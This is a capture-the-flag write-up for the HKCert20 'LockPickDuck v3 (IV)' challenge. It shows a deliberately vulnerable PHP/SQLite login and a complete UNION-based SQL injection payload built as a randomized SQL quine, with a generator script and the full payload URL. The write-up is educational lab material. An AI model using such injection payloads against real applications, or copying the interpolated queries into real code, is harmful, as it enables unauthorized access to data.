HKCert20 CTF : LockPickDuck v3 (IV) === (500 pts, 1 solve) Solver: T0022 - HKUST Member 2 This challenge has part (I), (II), (III) and (IV). This is the writeup of (IV). For part (I), (II) and (III), please [click here](https://hackmd.io/@hoifanrd/S1C7L3BFD). http:</span>//te</span>rtiary.pwn</span>able.h</span>k:50011 ```php= <?php class SQZero3 extends SQLite3 { private $user; private $pass; function __construct($user, $pass) { $this->open(":memory:"); $this->exec("CREATE TABLE users (user text, pass text, hash text)"); $this->user = $user; $this->pass = $pass; } function checkHash(){ return @($this->querySingle("SELECT hash FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") == md5($this->pass)); } function checkUser(){ return @($this->querySingle("SELECT user FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") == $this->user); } function checkPass(){ return @($this->querySingle("SELECT pass FROM users WHERE user='{$this->user}'") == $this->pass); } function checkMate(){ return @($this->querySingle("SELECT hash FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") === md5($this->pass)) && @($this->querySingle("SELECT user FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") === $this->user) && @($this->querySingle("SELECT pass FROM users WHERE user='{$this->user}'") === $this->pass); } } if (isset($_GET["user"]) && isset($_GET["pass"])) { require("flag.php"); $sq = new SQZero3($_GET["user"], $_GET["pass"]); if ($sq->checkHash()) { echo "<p>Flag 1: $flag1</p>"; if ($sq->checkUser()) { echo "<p>Flag 2: $flag2</p>"; if ($sq->checkPass()) { echo "<p>Flag 3: $flag3</p>"; } } } else { echo "No Flag"; } if ($sq->checkMate()) { echo "<p>Flag 4: $flag4</p>"; } } else { highlight_file(__FILE__); } ?> ``` Okay. So we are going to get Flag 4. Let's analyze the php code first. ### Analyze the PHP As we can see, the website use _GET_ to get the field _user_ and _pass_. If the both fieids are set, it will first create a **BLANK** SQLite table. Then it will do a single query from that black table, to see if the query return value equals a specfic value. A worth note point is that the table is a blank table. How could it return value other than NULL? So we know that this is a SQL Injection challenge (Reference: [CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/web/sqli/)). Let's see at what situation we can get Flag 4! ```sql SELECT hash FROM users WHERE user='{$user}' AND pass='{$pass}' === md5($pass) && SELECT user FROM users WHERE user='{$user}' AND pass='{$pass}' === $user && SELECT pass FROM users WHERE user='{$user}' === $pass ``` If we could satisfy this statement, then we could get Flag 4! ### What to return? Well. From the above, we could see that we have 2 types of query. ##### 1. `SELECT something FROM users WHERE user='{$user}' AND pass='{$pass}' - (1)` ##### 2. `SELECT something FROM users WHERE user='{$user}' - (2)` At first, what I think is that it is possible to have 2 different return value with these 2 queries due to the existence of `$pass`. As the PHP function is `querySingle()`, it will just return the first column of the first row as the result. We can let `$pass` be some statement like `ORDER BY`, so that the query without `$pass` will have different value at the first row when compared with the one that has `$pass`. We now can have 2 different return values. However, we met a problem here. In order to get Flag 4, we need to also make `(1) === md5($pass)` and `(1) === $user`, which means we need `md5($pass) === $user`. This implies that the `$user` field can't be used as SQL Injection commands. But wait, we could only use `$user` to do injection in `(2)`! ... Therefore, the only solution is to make `md5($pass) != $user` and this means we have to make one single statement to have different return value when executed! How could this even be achieved? ### It's time to gamble! What is the way to have different output with same statement? We can do this by `random()`! One of the possible query syntax to have different output will be like this: ```sql SELECT CASE WHEN abs(RANDOM() % 2) = 1 THEN 'one' ELSE 'zero' END ``` This query will output `one` or `zero` with each 50% chance when executed! We can then change this a bit and do the following too: ```sql SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'two' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN 'one' ELSE 'zero' END END ``` This query allows us to have 3 different output with each 33% chance when executed! This is the query that we want as it can generate 3 different output which can be respectively `md5($pass)`, `$pass` and `$user`in this challenge. So, let's set `$pass = a`. We also try to find the value of `md5(a)` which we know the value will be `0cc175b9c0f1b6a831c399e269772661`. Therefore, by substituting these 2 values in the above SQL command, it becomes like this: ```sql SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE 'zero' END END ``` This query can now return `$pass` and `md5($pass)`. While the `'zero'` in the above command need to be replaced by `$user`, which `$user` will somehow be the above SQL command. Here's another tricky part, we need a SQL command returns itself. How? ### Quine main by don by main quine This subheader is a hint of this challenge. What does this mean? It means **quine**! What is a quine? From [Wikipedia](https://en.wikipedia.org/wiki/Quine_(computing)), *a quine is a computer program which takes no input and produces a copy of its own source code as its only output.* While for SQL, it means that the SQL query output will return it's query command. Here's one of the example: ```sql SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine ``` If you run this query, it will output itself! This is exactly what we want. </br> So now let's see what should our `$user` should be. *$user:* `' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE $$ END END -- ` Where `$$` should be `$user`, returning the `$user` itself. </br> By finding some SQL quine generator, here is a python function for us the generate quine. ```python def quine(data): data = data.replace('$$', "REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)") blob = data.replace('$$', '"$"').replace("'", '"') data = data.replace('$$', "'" + blob + "'") print(data) ``` Therefore, executing `quine("' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE $$ END END -- ")` gives us the following SQL quine. ```sql ' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END -- ``` This would be our final `$user`, which is a SQL Injection command which can return `$pass`, `md5($pass)` and the most important - the `$user` itself, in each 33% chance. ### Final Luck Therefore, this would be the `$user` and `$pass`: *\$user:* `' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END -- ` *\$pass:* `a` Where the final query on the server will be: ```sql SELECT something FROM users WHERE user='' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END -- ' AND pass='a' ``` </br> Payload URL: `http://tertiary.pwnable.hk:50011/?user=' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END -- &pass=a` The final thing we have to do is to press the F5 on the key many times ~~(like when you reg courses or buy live tickets)~~. As each time the command just has a 1/3 chance of returning the value that we want, which means we have 1/27 chance for Flag 4 to appear. So it's time to test our luck! ~~And it's possible for you to never get the flag if you're unlucky.~~ That's all. See you next time. </br> ###### P.S. When you are bored and want to test your luck: ![](https://cdn.discordapp.com/attachments/774132843265392653/775044291281813524/unknown.png) ###### tags: `CTF`, `HKCert20`